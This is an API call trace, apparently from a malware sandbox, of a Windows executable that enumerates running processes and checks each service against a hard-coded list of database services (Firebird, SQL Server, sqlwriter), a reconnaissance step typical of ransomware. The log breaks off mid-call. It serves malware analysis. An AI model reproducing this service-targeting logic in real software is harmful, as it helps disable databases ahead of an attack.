Process32FirstW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.736] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0189.736] lstrlenW (lpString="System") returned 6 [0189.736] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0189.737] lstrlenW (lpString="smss.exe") returned 8 [0189.737] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.737] lstrlenW (lpString="csrss.exe") returned 9 [0189.737] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0189.738] lstrlenW (lpString="wininit.exe") returned 11 [0189.738] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0189.738] lstrlenW (lpString="csrss.exe") returned 9 [0189.739] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0189.739] lstrlenW (lpString="winlogon.exe") returned 12 [0189.739] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0189.740] lstrlenW (lpString="services.exe") returned 12 [0189.740] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0189.740] lstrlenW (lpString="lsass.exe") returned 9 [0189.740] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0189.741] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0189.741] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0189.741] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0189.741] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.742] lstrlenW (lpString="svchost.exe") returned 11 [0189.742] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.742] lstrlenW (lpString="svchost.exe") returned 11 [0189.742] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0189.743] lstrlenW (lpString="dwm.exe") returned 7 [0189.743] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.743] lstrlenW (lpString="svchost.exe") returned 11 [0189.743] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.744] lstrlenW (lpString="svchost.exe") returned 11 [0189.744] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.744] lstrlenW (lpString="svchost.exe") returned 11 [0189.745] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.745] lstrlenW (lpString="svchost.exe") returned 11 [0189.745] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.746] lstrlenW (lpString="svchost.exe") returned 11 [0189.746] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.746] lstrlenW (lpString="svchost.exe") returned 11 [0189.746] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.747] lstrlenW (lpString="svchost.exe") returned 11 [0189.747] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.747] lstrlenW (lpString="svchost.exe") returned 11 [0189.747] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.748] lstrlenW (lpString="svchost.exe") returned 11 [0189.748] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.748] lstrlenW (lpString="svchost.exe") returned 11 [0189.748] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0189.749] lstrlenW (lpString="spoolsv.exe") returned 11 [0189.749] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.749] lstrlenW (lpString="svchost.exe") returned 11 [0189.749] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0189.750] lstrlenW (lpString="audiodg.exe") returned 11 [0189.750] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0189.751] lstrlenW (lpString="sihost.exe") returned 10 [0189.751] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0189.751] lstrlenW (lpString="svchost.exe") returned 11 [0189.751] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0189.752] lstrlenW (lpString="taskhostw.exe") returned 13 [0189.752] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0189.752] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0189.752] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0189.754] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0189.754] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0189.754] lstrlenW (lpString="Memory Compression") returned 18 [0189.754] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0189.755] lstrlenW (lpString="explorer.exe") returned 12 [0189.755] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0189.755] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0189.755] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0189.756] lstrlenW (lpString="SearchUI.exe") returned 12 [0189.756] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0189.757] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0189.757] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0189.757] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0189.757] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0189.758] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0189.758] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0189.758] lstrlenW (lpString="dllhost.exe") returned 11 [0189.758] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0189.759] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0189.759] Process32NextW (in: hSnapshot=0x580, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 0 [0189.759] CloseHandle (hObject=0x580) returned 1 [0189.759] Sleep (dwMilliseconds=0x1f4) [0190.305] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x408dbc8 [0190.306] EnumServicesStatusExW (in: hSCManager=0x408dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0190.308] GetLastError () returned 0xea [0190.308] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1bc4) returned 0x4052988 [0190.308] EnumServicesStatusExW (in: hSCManager=0x408dbc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4052988, cbBufSize=0x1bc4, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4052988, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0190.309] CloseServiceHandle (hSCObject=0x408dbc8) returned 1 [0190.309] lstrlenW (lpString="Appinfo") returned 7 [0190.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0190.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0190.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0190.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0190.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0190.310] lstrlenW (lpString="AppXSvc") returned 7 [0190.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0190.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0190.310] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0190.310] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0190.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0190.310] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0190.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0190.310] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0190.310] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0190.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0190.310] lstrlenW (lpString="Audiosrv") returned 8 [0190.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0190.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0190.310] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0190.310] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0190.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0190.310] lstrlenW (lpString="BFE") returned 3 [0190.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0190.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0190.310] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0190.310] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0190.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0190.310] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0190.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0190.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0190.310] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0190.310] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0190.310] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0190.310] lstrlenW (lpString="CDPSvc") returned 6 [0190.310] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0190.310] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0190.310] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0190.311] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0190.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0190.311] lstrlenW (lpString="ClickToRunSvc") returned 13 [0190.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0190.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0190.311] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0190.311] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0190.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0190.311] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0190.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0190.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0190.311] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0190.311] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0190.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0190.311] lstrlenW (lpString="CryptSvc") returned 8 [0190.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0190.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0190.311] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0190.311] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0190.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0190.311] lstrlenW (lpString="DcomLaunch") returned 10 [0190.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0190.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0190.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0190.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0190.311] lstrlenW (lpString="DeviceAssociationService") returned 24 [0190.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0190.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0190.311] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0190.311] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0190.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0190.311] lstrlenW (lpString="Dhcp") returned 4 [0190.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0190.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0190.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0190.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0190.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0190.312] lstrlenW (lpString="Dnscache") returned 8 [0190.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0190.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0190.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0190.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0190.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0190.312] lstrlenW (lpString="DPS") returned 3 [0190.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0190.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0190.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0190.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0190.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0190.312] lstrlenW (lpString="DusmSvc") returned 7 [0190.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0190.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0190.312] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0190.312] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0190.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0190.312] lstrlenW (lpString="EventLog") returned 8 [0190.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0190.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0190.312] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0190.312] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0190.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0190.312] lstrlenW (lpString="EventSystem") returned 11 [0190.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0190.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0190.312] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0190.312] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0190.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0190.312] lstrlenW (lpString="FontCache") returned 9 [0190.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0190.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0190.313] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0190.313] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0190.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0190.313] lstrlenW (lpString="gpsvc") returned 5 [0190.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0190.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0190.313] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0190.313] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0190.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0190.313] lstrlenW (lpString="iphlpsvc") returned 8 [0190.313] lstrcmpiW 